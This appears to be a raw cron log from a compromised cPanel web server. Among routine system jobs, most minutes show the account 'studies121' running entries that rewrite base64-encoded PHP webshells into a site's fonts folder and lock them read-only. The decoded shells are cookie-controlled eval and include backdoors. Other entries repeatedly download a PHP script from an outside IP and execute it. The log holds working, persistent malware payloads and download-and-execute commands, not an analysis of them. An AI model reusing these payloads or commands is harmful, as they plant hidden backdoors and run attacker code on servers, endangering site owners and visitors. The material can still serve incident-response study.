Sep  9 04:35:01 ip-184-168-122-23 CROND[12235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:36:01 ip-184-168-122-23 CROND[12367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:36:01 ip-184-168-122-23 CROND[12368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:36:01 ip-184-168-122-23 CROND[12369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:36:01 ip-184-168-122-23 CROND[12371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:36:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:37:01 ip-184-168-122-23 CROND[12476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:37:01 ip-184-168-122-23 CROND[12480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:37:01 ip-184-168-122-23 CROND[12479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:37:01 ip-184-168-122-23 CROND[12482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:38:01 ip-184-168-122-23 CROND[12676]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  9 04:38:01 ip-184-168-122-23 CROND[12677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:38:01 ip-184-168-122-23 CROND[12679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:38:01 ip-184-168-122-23 CROND[12683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:38:01 ip-184-168-122-23 CROND[12680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:38:01 ip-184-168-122-23 CROND[12682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:39:01 ip-184-168-122-23 CROND[12838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:39:01 ip-184-168-122-23 CROND[12841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:39:01 ip-184-168-122-23 CROND[12840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:39:01 ip-184-168-122-23 CROND[12839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:39:01 ip-184-168-122-23 CROND[12842]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:40:01 ip-184-168-122-23 CROND[12939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:40:01 ip-184-168-122-23 CROND[12944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:40:01 ip-184-168-122-23 CROND[12945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:41:01 ip-184-168-122-23 CROND[13064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:41:01 ip-184-168-122-23 CROND[13067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:41:01 ip-184-168-122-23 CROND[13068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:41:01 ip-184-168-122-23 CROND[13070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:42:01 ip-184-168-122-23 CROND[13154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:42:01 ip-184-168-122-23 CROND[13155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:42:01 ip-184-168-122-23 CROND[13156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:42:01 ip-184-168-122-23 CROND[13159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:42:01 ip-184-168-122-23 CROND[13160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:43:01 ip-184-168-122-23 CROND[13246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:43:01 ip-184-168-122-23 CROND[13248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:43:01 ip-184-168-122-23 CROND[13247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:43:01 ip-184-168-122-23 CROND[13249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:44:01 ip-184-168-122-23 CROND[13419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:44:01 ip-184-168-122-23 CROND[13422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:44:01 ip-184-168-122-23 CROND[13421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:44:01 ip-184-168-122-23 CROND[13424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:44:01 ip-184-168-122-23 CROND[13426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13538]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13541]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:45:01 ip-184-168-122-23 CROND[13547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:46:01 ip-184-168-122-23 CROND[13676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:46:01 ip-184-168-122-23 CROND[13682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:46:01 ip-184-168-122-23 CROND[13679]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:46:01 ip-184-168-122-23 CROND[13683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:46:01 ip-184-168-122-23 CROND[13678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:46:01 ip-184-168-122-23 CROND[13681]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 04:46:01 ip-184-168-122-23 CROND[13680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
